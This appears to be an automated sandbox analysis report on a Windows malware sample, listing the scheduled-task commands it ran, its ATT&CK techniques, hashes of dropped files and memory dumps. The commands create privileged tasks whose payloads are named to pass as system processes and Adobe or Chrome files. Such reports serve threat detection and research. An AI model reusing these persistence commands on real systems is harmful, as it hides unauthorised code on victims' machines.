schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\odt\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\odt\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\odt\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\BridgeReviewMonitorsvc\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\BridgeReviewMonitorsvc\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\BridgeReviewMonitorsvc\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4048

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

BridgeServerweb.exe

Path C:\BridgeReviewMonitorsvc\BridgeServerweb.exe
Size 2.7MB
SHA256 9c7a7cf9082a4e21ab867a14c4bda01d7caa98a7ec5f0d39d9d2ff6595912dc8
MD5 f09f98dcdb9c91fd1358dad6625d1183
SHA1 8548d117c31aed111de605c4fd3514ae6760e081
SHA512 d23f0fa12a1e6ac67752bb9739ba5ebf1cc116d9f0beecdfe9560390553ff9d4ba69f2ccfcfa0340ee0bd192209f4f6b5f024dc523d7f4a1f27544fb09a7fa33
SSDEEP 49152:iLIbQ/ja3nuVQ9rpVu8QlfuBpTdw69WVB1h48Dgli3wwMb+b1+8vI9+Qz:iLDazTxQly1dwRDfMqwwrh+8AL
MD5 SHA1 SHA512 SSDEEP

Submit Download

BridgeServerweb.exe

Path C:\BridgeReviewMonitorsvc\BridgeServerweb.exe
Size 2.7MB
SHA256 9c7a7cf9082a4e21ab867a14c4bda01d7caa98a7ec5f0d39d9d2ff6595912dc8
MD5 f09f98dcdb9c91fd1358dad6625d1183
SHA1 8548d117c31aed111de605c4fd3514ae6760e081
SHA512 d23f0fa12a1e6ac67752bb9739ba5ebf1cc116d9f0beecdfe9560390553ff9d4ba69f2ccfcfa0340ee0bd192209f4f6b5f024dc523d7f4a1f27544fb09a7fa33
SSDEEP 49152:iLIbQ/ja3nuVQ9rpVu8QlfuBpTdw69WVB1h48Dgli3wwMb+b1+8vI9+Qz:iLDazTxQly1dwRDfMqwwrh+8AL
MD5 SHA1 SHA512 SSDEEP

Submit Download

T4Erapm.bat

Path C:\BridgeReviewMonitorsvc\T4Erapm.bat
Size 47B
SHA256 dbb2ac0e617c5579cc8092342ba608d437ff535114dc819490b608d7314f151c
MD5 6965e5d74c2f764665730d1c7bb4add0
SHA1 05d2d1fc839667cacfdbec70d5df230412b0d406
SHA512 b2a02b16868bdceddf5f71545d795be1af836e5065ae5f671591ea128ff1c4064eb1eace1724152d1b35dded58ec52fab52011dabb957d274972c62bb2afe5c4
MD5 SHA1 SHA512

Submit Download

XKLFqN366pCaPkEm.vbe

Path C:\BridgeReviewMonitorsvc\XKLFqN366pCaPkEm.vbe
Size 206B
SHA256 f6969b2d2275b3a453a8263400b3942ab557764f1397e6969a7b7aebe442efcc
MD5 72b6c908d73c672f0916a70debdd7860
SHA1 2b78925ced352db514358e8128f2c3d34ba3cc28
SHA512 f70ad10aa7a51d2a9c1e60a91ca608c32d44c9487610d312bc2a4f32aa205f492e54bb9ca8c412bd9f87c8c737838bbb8502b53725e675b9d9f6da3231c7dd1c
MD5 SHA1 SHA512

Submit Download

file.vbs

Path C:\BridgeReviewMonitorsvc\file.vbs
Size 34B
SHA256 f1cccb5ae4aa51d293bd3c7d2a1a04cb7847d22c5db8e05ac64e9a6d7455aa0b
MD5 677cc4360477c72cb0ce00406a949c61
SHA1 b679e8c3427f6c5fc47c8ac46cd0e56c9424de05
SHA512 7cfe2cc92f9e659f0a15a295624d611b3363bd01eb5bcf9bc7681ea9b70b0564d192d570d294657c8dc2c93497fa3b4526c975a9bf35d69617c31d9936573c6a
MD5 SHA1 SHA512

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 4.0MB
SHA256 4d2083d9f7c99e929413bbdc3ffa409695d871f6a505453de04fa10208beb5ee
MD5 7f24b5931fe15902925c4a5392e2161f
SHA1 a8ae18a5a31f7d36ded7a55b9782ec047a0fa285
SHA512 481026a20baf48f7879eaeac17727860b591aacf45e1ee6286ab12dfc581f67632aa78d70400d74440992e17bc72b2c304f3c7ad76544e1f7d5b0e2269191cfa
SSDEEP 98304:oa0NggUuOWKMGTjVOvvQBPVcezShTMMQ83B3e5E3iG7:oaxuOr3BPyASlLJBu5gZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 4.0MB
SHA256 4d2083d9f7c99e929413bbdc3ffa409695d871f6a505453de04fa10208beb5ee
MD5 7f24b5931fe15902925c4a5392e2161f
SHA1 a8ae18a5a31f7d36ded7a55b9782ec047a0fa285
SHA512 481026a20baf48f7879eaeac17727860b591aacf45e1ee6286ab12dfc581f67632aa78d70400d74440992e17bc72b2c304f3c7ad76544e1f7d5b0e2269191cfa
SSDEEP 98304:oa0NggUuOWKMGTjVOvvQBPVcezShTMMQ83B3e5E3iG7:oaxuOr3BPyASlLJBu5gZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1bfbb738c61d84240148ae6c033a59337263bdf6ff4bbdcd8f3d8dffd249d142
MD5 5b9df3d6dc4d4aa11c7bc0096d2d0c05
SHA1 f958f6d755b031d35d8016ee8a14bd9e27c5fb1b
SHA512 5795039542bf784eaa2d6937df510c8cff35122187a65cd82db90c816098632310139e37afce465fa67c9aee2195e76c889e704fc14a601bf2b3f544535e8d73
MD5 SHA1 SHA512

Submit Download

Photoshop.exe

Path C:\Users\Admin\AppData\Local\Temp\Photoshop.exe
Size 3.0MB
SHA256 963dd14acd02db523808f1f6ec9bdc5198d5da494df39252d870b17ecb8b7ec2
MD5 611e3d2bf7423b5a086417a6b0da5427
SHA1 dd6c7e636b5ffdf01dc6c947f166ea81efcf7a2a
SHA512 c40e47c63e0f4ff94b84452b4e95268d186c1cbeec94d228e5fd6a3bfdb18fd30e0279d8d79e70629937aa8ccae33436545370e2f6ab4156fd8894f9f1422a41
SSDEEP 49152:ubA3jVLIbQ/ja3nuVQ9rpVu8QlfuBpTdw69WVB1h48Dgli3wwMb+b1+8vI9+Qzi:ub6LDazTxQly1dwRDfMqwwrh+8ALW
MD5 SHA1 SHA512 SSDEEP

Submit Download

Photoshop.exe

Path C:\Users\Admin\AppData\Local\Temp\Photoshop.exe
Size 3.0MB
SHA256 963dd14acd02db523808f1f6ec9bdc5198d5da494df39252d870b17ecb8b7ec2
MD5 611e3d2bf7423b5a086417a6b0da5427
SHA1 dd6c7e636b5ffdf01dc6c947f166ea81efcf7a2a
SHA512 c40e47c63e0f4ff94b84452b4e95268d186c1cbeec94d228e5fd6a3bfdb18fd30e0279d8d79e70629937aa8ccae33436545370e2f6ab4156fd8894f9f1422a41
SSDEEP 49152:ubA3jVLIbQ/ja3nuVQ9rpVu8QlfuBpTdw69WVB1h48Dgli3wwMb+b1+8vI9+Qzi:ub6LDazTxQly1dwRDfMqwwrh+8ALW
MD5 SHA1 SHA512 SSDEEP

Submit Download

adobe.exe

Path C:\Users\Admin\AppData\Local\Temp\adobe.exe
Size 4.0MB
SHA256 d0d7fa34ab9eff8b4032675266c6ae4475134e39251b584442c5c9864954742b
MD5 abc0515337e2069372b104b6f718a277
SHA1 9e0e6c60307d77f40452412c9198a7c4c6a46805
SHA512 70c836ad00867a8c82ed11302b7d10373056e31a416c83f961e07bbda74b4d7a5008410071e4c192af196017c9b82f0c0b4487f847f99c22355eda94c73018b3
SSDEEP 98304:oa0NggUuOWKMGTjVOvvQBPVcezShTMMQ83B3e5E3iG7:oaxuOr3BPyASlLJBu5gZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

adobe.exe

Path C:\Users\Admin\AppData\Local\Temp\adobe.exe
Size 4.0MB
SHA256 d0d7fa34ab9eff8b4032675266c6ae4475134e39251b584442c5c9864954742b
MD5 abc0515337e2069372b104b6f718a277
SHA1 9e0e6c60307d77f40452412c9198a7c4c6a46805
SHA512 70c836ad00867a8c82ed11302b7d10373056e31a416c83f961e07bbda74b4d7a5008410071e4c192af196017c9b82f0c0b4487f847f99c22355eda94c73018b3
SSDEEP 98304:oa0NggUuOWKMGTjVOvvQBPVcezShTMMQ83B3e5E3iG7:oaxuOr3BPyASlLJBu5gZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Registry.exe

Path C:\Windows\DigitalLocker\en-US\Registry.exe
Size 2.7MB
SHA256 9c7a7cf9082a4e21ab867a14c4bda01d7caa98a7ec5f0d39d9d2ff6595912dc8
MD5 f09f98dcdb9c91fd1358dad6625d1183
SHA1 8548d117c31aed111de605c4fd3514ae6760e081
SHA512 d23f0fa12a1e6ac67752bb9739ba5ebf1cc116d9f0beecdfe9560390553ff9d4ba69f2ccfcfa0340ee0bd192209f4f6b5f024dc523d7f4a1f27544fb09a7fa33
SSDEEP 49152:iLIbQ/ja3nuVQ9rpVu8QlfuBpTdw69WVB1h48Dgli3wwMb+b1+8vI9+Qz:iLDazTxQly1dwRDfMqwwrh+8AL
MD5 SHA1 SHA512 SSDEEP

Submit Download

Registry.exe

Path C:\Windows\DigitalLocker\en-US\Registry.exe
Size 2.7MB
SHA256 9c7a7cf9082a4e21ab867a14c4bda01d7caa98a7ec5f0d39d9d2ff6595912dc8
MD5 f09f98dcdb9c91fd1358dad6625d1183
SHA1 8548d117c31aed111de605c4fd3514ae6760e081
SHA512 d23f0fa12a1e6ac67752bb9739ba5ebf1cc116d9f0beecdfe9560390553ff9d4ba69f2ccfcfa0340ee0bd192209f4f6b5f024dc523d7f4a1f27544fb09a7fa33
SSDEEP 49152:iLIbQ/ja3nuVQ9rpVu8QlfuBpTdw69WVB1h48Dgli3wwMb+b1+8vI9+Qz:iLDazTxQly1dwRDfMqwwrh+8AL
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
MD5 SHA1 SHA512

Submit Download

memory/8-196-0x0000024968A60000-0x0000024968A68000-memory.dmp

Download

memory/8-189-0x0000024968820000-0x000002496883C000-memory.dmp

Download

memory/8-190-0x0000024968900000-0x000002496890A000-memory.dmp

Download

memory/8-194-0x0000024968A50000-0x0000024968A5A000-memory.dmp

Download

memory/8-195-0x0000024968AB0000-0x0000024968ACA000-memory.dmp

Download

memory/8-192-0x0000024968A70000-0x0000024968A8C000-memory.dmp

Download

memory/8-199-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/8-197-0x0000024968A90000-0x0000024968A96000-memory.dmp

Download

memory/8-198-0x0000024968AA0000-0x0000024968AAA000-memory.dmp

Download

memory/8-191-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/424-220-0x000001CED25A9000-0x000001CED25AF000-memory.dmp

Download

memory/424-206-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/424-222-0x000001CED25A9000-0x000001CED25AF000-memory.dmp

Download

memory/424-221-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/1732-186-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/1732-193-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/2408-149-0x00000000001D0000-0x0000000000484000-memory.dmp

Download

memory/2408-185-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/2408-176-0x000000001C9F0000-0x000000001CF18000-memory.dmp

Download

memory/2408-172-0x000000001AF70000-0x000000001AFC0000-memory.dmp

Download

memory/2408-170-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/2636-151-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/2636-143-0x000001EF3B460000-0x000001EF3B482000-memory.dmp

Download

memory/2636-187-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/4656-132-0x0000000000400000-0x0000000000E6D000-memory.dmp

Download

memory/4960-181-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/4960-179-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/5020-228-0x000001E52AB30000-0x000001E52AB50000-memory.dmp

Download

memory/5020-231-0x00007FF7CE6E0000-0x00007FF7CEED4000-memory.dmp

Download

memory/5020-232-0x000001E52AC70000-0x000001E52ACB0000-memory.dmp

Download

memory/5020-233-0x00007FF7CE6E0000-0x00007FF7CEED4000-memory.dmp

Download

memory/5020-234-0x000001E52ACF0000-0x000001E52AD10000-memory.dmp

Download

memory/5020-235-0x000001E52ACF0000-0x000001E52AD10000-memory.dmp

Download

memory/5068-173-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download

memory/5068-171-0x00007FFE4DB50000-0x00007FFE4E611000-memory.dmp

Download